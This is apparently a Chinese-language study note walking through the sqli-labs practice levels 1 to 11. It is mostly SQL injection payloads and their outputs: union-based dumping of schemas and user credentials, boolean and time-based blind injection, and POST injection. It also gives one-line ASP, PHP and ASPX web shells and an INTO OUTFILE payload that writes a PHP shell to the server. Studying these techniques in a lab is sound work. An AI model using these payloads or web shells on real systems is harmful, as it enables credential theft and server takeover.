SQL注入漏洞原理,看这里哇
使用注释符:减减加,减减空格,#
LIMIT 0,1 第一位0是从第几个开始,第二位的1代表的就是显示多少数据
or and
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=‘security’
查字段:select column_name from information_schema.columns where table_name=‘users’
查内容:select username,password from security.users
less-1
输入?id=1’ 看报错 ,是否存在注入漏洞
输入?id=‘1’ – ’
输入?id=‘1’’
order by 1第一列数据进行排序
order by 2第二列数据进行排序
?id=‘1’ order by 3数据中存在3列 正常
?id=1’ union select 1,2,3–+ 没有信息
?id=-1’ union select 1,2,3
Your Login name:2
Your Password:3
把3替换掉
?id=-1’ union select 1,2,schema_name from information_schema.schemata–+
?id=-1’ union select 1,2,schema_name from information_schema.schemata limit0,1–+
?id=-1’ union select 1,2,schema_name from information_schema.schemata limit1,1–+
?id=-1’ union select 1,2,schema_name from information_schema.schemata limit2,1–+
查表
应用函数group_concat(schema_name)
?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+
Your Password:information_schema,challenges,mysql,performance_schema,security
group_concat函数
上链接:https://www.cnblogs.com/pcheng/p/5943156.html
查数据库:security的信息
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
Your Password:emails,referers,uagents,users
因为会引入单引号的问题
所以推荐用16进制0x
查字段
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
同样也要进制转换
Your Password:id,username,password
将username 和password全部取出
应用函数 concat_ws(’~’,A,B)
则显示A~B
?id=-1’ union select 1,2,concat_ws(’~’,username,password) from security.users–+
Your Password:Dumb~Dumb
?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+
同样转换为16进制
less-2
输入id=1’
输入id=1
输入id=1 order by 3–+
查表,查数据库,查字段与less-1一致
less-3
less-1是'1'
输入id=1 less-2是1
less-3是(‘1’)
输入id=1’ 存在注入漏洞
输入id=1’)–+返回正常
其查表,查数据库,查字段与less-1一致
less-4
输入?id=1
输入?id=1’
输入?id=1’’
输入?id=1’’)–+
其查表,查数据库,查列与less-1一致
补充基础知识
less-5
布尔盲注
输入?id=1
You are in…
输入?id=1000
输入?id=1’
输入?id=1’ order by 3
应用left函数
?id=1’ and left((select database()),1)=‘s’–+
You are in…
?id=1’ and left((select database()),2)=‘se’–+
You are in…
第一种方法:上工具:burpsuite
先选择burpsuite代理
?id=1’ and left((select database()),1)=‘a’–+
第二种方法:
?id=1’ and ascii(substr((select database()),1,1))>156–+(这是错误的 使用的数据库不是security)
正确操作:
?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))<100–+
You are in…
…
?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=99 --+
You are in…
less-6
输入?id=1
输入?id=1’
输入?id=1’’
其内容与less-5一致
less-7
一句话木马
asp一句话木马:<%execute(request(“value”))%>
php一句话木马:<?php @eval($_POST[value]);?>密码是value
aspx一句话木马:<%@ Page Language=“Jscript”%>
<%eval(Request.Item[“value”])%>
输入?id=1
You are in
?id=’
?id=1’))–+
?id=1’)) union select 1,2,’’–+
上工具:中国菜刀
?id=-1’)) union select 1,2,’<?php @eval($_POST[value]);?>’ into outfile ‘要写入的文件位置’–+
访问a.php
成功
less-8
法一:布尔盲注
?id=1
?id=1’
?id=1’–+
?id=1’ order by 3–+
与第六关相似
?id=1’ and left(select database()),1=‘s’–+
同样可以实现转换进制
判断是否有回显
?id=1’ and ascii(substr((select database()),1,1))>16–+
判断 =赋值
一步一步确定
…
猜解速度太慢了,推荐使用burpsuite抓包工具和sqlmap脚本
补充基本知识
if(condition,A,B) 如果条件condition为true 则执行语句A,否则执行语句B
select if(1>2,3,4);
返回了4
select if(1>2,3,sleep(3));
sleep等待3秒出结果
应用:
拆解
select if()
select database()
substr((select database()),1,1)
ascii(substr((select database()),1,1))
select if(ascii(substr((select database()),1,1))>10,2,3)
less-8
法二:时间盲注
?id=1’–+
?id=1’ and sleep(5)–+
看回显,判断数据库长度
?id=1’ and if(length(database()),8,sleep(5))–+
…
逐渐验证数据库长度
看回显,判断数据库ascii值
?id=1 and if(ascii(substr((select database()),1,1))>10,1,sleep(5))
…
逐渐验证数据库
同样的方法 表,字段信息
新方法:DNSlog
less-9 and less-10
?id=1
?id=1’ and sleep(5)–+
与时间盲注一致
?id=1
?id=1’’ and sleep(5)–+
与时间盲注一致
less-11 (’)
admin
admin
上工具:burpsuite
POST传输方法
将结果导入
选择:Post data
针对username
uname=admin&password=admin&submit=Submit
uname=admin’&passwd=admin&submit=Submit 判断是否存在